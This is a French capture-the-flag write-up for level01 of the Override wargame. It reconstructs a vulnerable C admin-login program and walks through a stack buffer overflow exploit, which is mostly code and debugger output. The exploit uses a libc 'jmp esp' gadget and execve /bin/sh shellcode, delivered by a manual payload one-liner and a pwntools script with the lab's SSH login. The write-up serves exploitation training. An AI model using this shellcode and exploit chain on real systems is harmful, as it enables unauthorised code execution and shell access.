1. *Level 01*

On reconstruit le code source :

```c
#include <stdio.h>

char *real_uname = "dat_wil";                    // 0x80486a8
char *real_passw = "admin";                      // 0x80486b0
char a_user_name[100];                           // 0x804a040


int    verify_user_name(void)
{
    int    i = 0;
    puts("verifying username....\n");

    while (real_uname[i] == a_user_name[i] &&  i < 7)
        i++;
    if (i == 7)
        return (0);
    return (1);
}

int    verify_user_pass(char *buff)
{
    int    i = 0;

    while (buff[i] == real_passw[i] && i < 5)
        i++;
    if (i == 5)
        return (0);
    return (1);
}


int    main(void)
{
    int    i = 0;
    char    buff[64];                    // [esp+0x1c]
    int    n;                           // [esp+0x5c]

    while (i < 64)
        buff[i++] = '\0';
    n = 0;
    puts("********* ADMIN LOGIN PROMPT *********");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);
    n = verify_user_name();
    if (n != 0)
    {
        puts("nope, incorrect username...\n");
```

```
        return (1);
    }
    puts("Enter Password: ");
    fgets(buff, 0x64, stdin);
    n = verify_user_pass(buff);
    if (n != 0)
    {
        puts("nope, incorrect password...\n");
        return (1);
    }
    return (0);
}
```

Rien de très compliqué, la comparaison des chaînes pour le nom d'utilisateur et le mot de passe utilise la même méthode que décrite dans **Rainfall – level8**.

Le programme est assez simple. On a deux potentiels **overflows** liés aux deux appels à **fgets**. Le premier appel à fgets tente de lire 0x100 (256) bytes de stdin pour les placer dans le buffer **a_user_name** de 0x64 (100) bytes. Cet overflow est provoqué à l'emplacement mémoire de cette variable globale statique (probablement **.bss**). Il ne semble pas extrêmement utile, car on ne peut pas vraiment overwrite quoi que ce soit d'intéressant.

Le second overwrite est cependant critique. En effet, on tente de lire 0x64 (**100**) bytes depuis stdin pour les placer dans le buffer **buff** qui peut contenir 0x40 (**64**) bytes. On a donc un overflow potentiel de **36 bytes**. Étant donné qu'il n'y a pas tant de variables locales que ça, il est probable que cet overflow nous permette d'écraser l'adresse de retour.

On essaie de provoquer ce crash, avec donc ce second overflow. Pour qu'on puisse arriver au second prompt qui nous permet d'entrer le mot de passe et de déclencher l'overflow qui nous intéresse, il faut d'abord entrer le **username correct** (sinon le programme quitte directement), qu'on repère dans le code désassemblé ("dat_wil"). Ainsi, on fait crash le programme de cette façon :

```
(gdb) run
Starting program: /root/42/Override/level01/level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....

Enter Password:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
nope, incorrect password...


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
```

On calcule l'offset auquel on contrôle l'adresse de retour dans notre second buffer avec un **pattern metasploit** :

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
```

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset -q 0x37634136
```

L'offset est à **80**. Comment va-t-on maintenant prendre contrôle du programme ? Rappelons-nous que **NX est désactivé** ; on peut exécuter du code sur la stack. On observe l'état de la pile lorsque le programme crash.

On s'aperçoit qu'il nous reste **15 bytes** d'overflow après avoir écrasé l'adresse de retour. Rediriger le flux d'exécution vers un **jmp esp** nous permettrait d'exécuter ce qui se situe dans ces 15 bytes restants :

```
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x /20a $sp
0xffffd1f0:     0x42424242      0x42424242      0x42424242      0x424242
0xffffd200:     0xffffd234      0xf7ffdb60      0xf7fca410      0xf7fa6000
0xffffd210:     0x1     0x0     0xffffd278      0x0
0xffffd220:     0xf7ffd000      0x0     0xf7fa6000      0xf7fa6000
0xffffd230:     0x0     0xb341ca35      0xf7bd3425      0x0
(gdb)
```

On cherche un gadget **jmp esp** ; on en trouve aucun dans le binaire lui-même, cependant on télécharge la **libc** qu'il utilise et on en trouve pas mal avec :

```
ROPgadget --binary libc | grep "jmp esp"
```

On repère l'adresse à laquelle est chargée la **libc** sur notre target grâce à **gdb** (Voir Rainfall – level2), 0xf7e2c000 ; l'offset du gadget est 0x00002a55 ; le gadget se situe donc à l'adresse :

```
0xf7e2c000 + 0x00002a55 = 0xf7e2ea55
```

Bref, on a notre gadget **jmp esp**. Que veut-on exécuter dans les 15 bytes d'overflow qui nous reste ? On a pensé d'abord faire comme pour le challenge **HackTheBox – Space** (utiliser un **stagger** pour déclencher en 14 bytes la lecture et l'exécution d'un payload entré par stdin), cela ne fonctionnait cependant pas vraiment.

Une solution plus simple existe. Lorsque le programme crash, juste au-dessus en mémoire de **esp** on a notre buffer qui a overflow sur l'adresse de retour :

(NOTE : on voit un 0xffffffff au milieu du buffer, il s'agit simplement de la variable **n** qui est modifiée suite à l'overflow et qui écrase donc les 0x42424242 qui s'y situaient).

Lorsque le programme crash, **esp se situe 0x54 bytes plus bas que le début de buff** (ici par exemple `0xffffd1f0` pour esp, buff commence à `0xffffd19c`, 0x54 bytes d'écart). Le plan est donc le suivant :
> Rediriger le flux d'exécution vers un **jmp esp**.
> Exécuter, dans les 15 bytes à notre disposition, les instructions :

- `sub esp,0x54`
- `jmp esp`
  `==> '\x83\xec\x54\xff\xe4'`

> EIP se situera donc au début de notre buffer, qui contiendra le shellcode.

Le payload (envoyé en second, dans le prompt password) aura cette structure :

`[SHELLCODE 28 bytes] + ['B' * 52] + [JMP ESP gadget addr] + [SUB ESP,0x54; JMP ESP]`

>> Exploitation manuelle

Comme pour **Rainfall – bonus0** on a ici plusieurs entrées **stdin** demandées à l'utilisateur ; ce qui complique un peu les choses pour fournir les inputs. On utilise la même méthode (même si ici, **fgets** est utilisé au lieu de call **read**) : on remplit entièrement le buffer du premier appel à fgets, puis on ajoute notre second input. Le premier appel à fgets prendra le premier buffer ; il restera cependant le reste de notre input dans le buffer, que le second call prendra.

```
$ python -c "print('dat_wil' +
'A' * 248 +
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89
\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' +
'B' * (52) +
'\x55\xea\xe2\xf7' +
```

```
'\x83\xec\x54\xff\xe4')" > /tmp/payload

$ cat /tmp/payload - | ./level01
```

>> Exploit automatique

```
from pwn import *

shellcode   =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\x
b0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload_1   = b'dat_wil'
payload_2   = shellcode
payload_2   += b'B' * (80 - len(shellcode))
payload_2   += b'\x55\xea\xe2\xf7'
payload_2   += b'\x83\xEC\x54\xFF\xE4'


s = ssh(host='192.168.1.3', port=4242, user="level01",
password="uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL")
p = s.process('/home/users/level01/./level01')


p.recvline(2)
p.sendline(payload_1)
p.recvline(3)
p.sendline(payload_2)
p.interactive()
```

Got flag.